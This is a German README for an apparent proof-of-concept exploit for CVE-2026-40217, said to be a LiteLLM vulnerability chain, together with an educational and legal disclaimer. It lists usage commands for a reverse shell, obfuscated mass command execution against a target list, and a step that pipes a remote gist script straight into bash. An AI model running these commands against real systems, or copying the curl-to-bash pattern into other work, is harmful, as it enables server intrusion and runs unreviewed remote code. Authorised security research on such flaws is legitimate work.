cve-id

⚡ Einfache Nutzung

Verwende dieses Projekt nur in sicheren und autorisierten Umgebungen wie:

• Lokale virtuelle Maschinen
• Docker-Container
• Isolierte Laborumgebungen
• Autorisierte Penetrationstest-Umgebungen

Beispiel-Setup:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Beispiel-Nutzung:

# Help
python cve-2026-40217.py -h

# Single target + reverse shell
python cve-2026-40217.py -t http://localhost:4000 -k "sk-..." --revshell --obfuscate 2

# Multi-target + obfuscation
python cve-2026-40217.py -f targets.txt -k "sk-..." --obfuscate 3 -c "whoami; id"

# With custom threads
python cve-2026-40217.py -f targets.txt -k "sk-..." --threads 10

Hinweis:

• Wenn du von einem anderen Projekt klonst, musst du curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y ausführen, um das verschachtelte .git-Verzeichnis zu entfernen.

Quellenangabe oder Referenz

• https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html
• CVE-2026-40217-PoC-learner202649: https://github.com/learner202649/CVE-2026-40217-PoC

📚 Pädagogisches Sicherheitsforschungs-Repository

Ein Repository zum Lernen, Testen und Erforschen von Cybersicherheitskonzepten in kontrollierten Umgebungen.

⚠️ Sicherheits- und rechtlicher Haftungsausschluss

Zweck

Dieses Repository dient ausschließlich der Bildung und autorisierten Sicherheitsforschung.

Es soll Benutzern helfen, Folgendes zu lernen:

• Sicherheitslücken
• Sandbox- und Isolierungskonzepte
• Sicheres Programmieren und defensive Praktiken

Nur zur autorisierten Nutzung

Verwende dieses Repository nur in Umgebungen, für die du eine Genehmigung hast, wie:

• Persönliche Labore oder virtuelle Maschinen
• Docker- oder isolierte Umgebungen
• Autorisierte Penetrationstests
• Cybersicherheitsschulungen oder akademische Forschung

Nicht autorisierte oder illegale Nutzung ist strengstens untersagt.

Keine Haftung

Der Autor und die Mitwirkenden sind nicht verantwortlich für Schäden, Missbrauch, rechtliche Probleme oder Verluste, die durch dieses Projekt entstehen.

Durch die Nutzung dieses Repositorys stimmst du zu, dass:

• Du für deine eigenen Handlungen verantwortlich bist
• Du es legal und ethisch verwenden wirst
• Das Projekt ohne Gewährleistung bereitgestellt wird

Ethische Nutzung

Dieses Projekt ist vorgesehen für:

• Defensive Sicherheitsforschung
• Cybersicherheitsbildung
• Sensibilisierung für Sicherheitslücken
• Sichere System- und Softwareforschung

Bitte befolge die Praktiken der verantwortungsvollen Offenlegung und halte alle geltenden Gesetze ein.

Kontakt

Für verantwortungsvolle Offenlegung oder Zusammenarbeit kontaktiere den Repository-Maintainer über GitHub.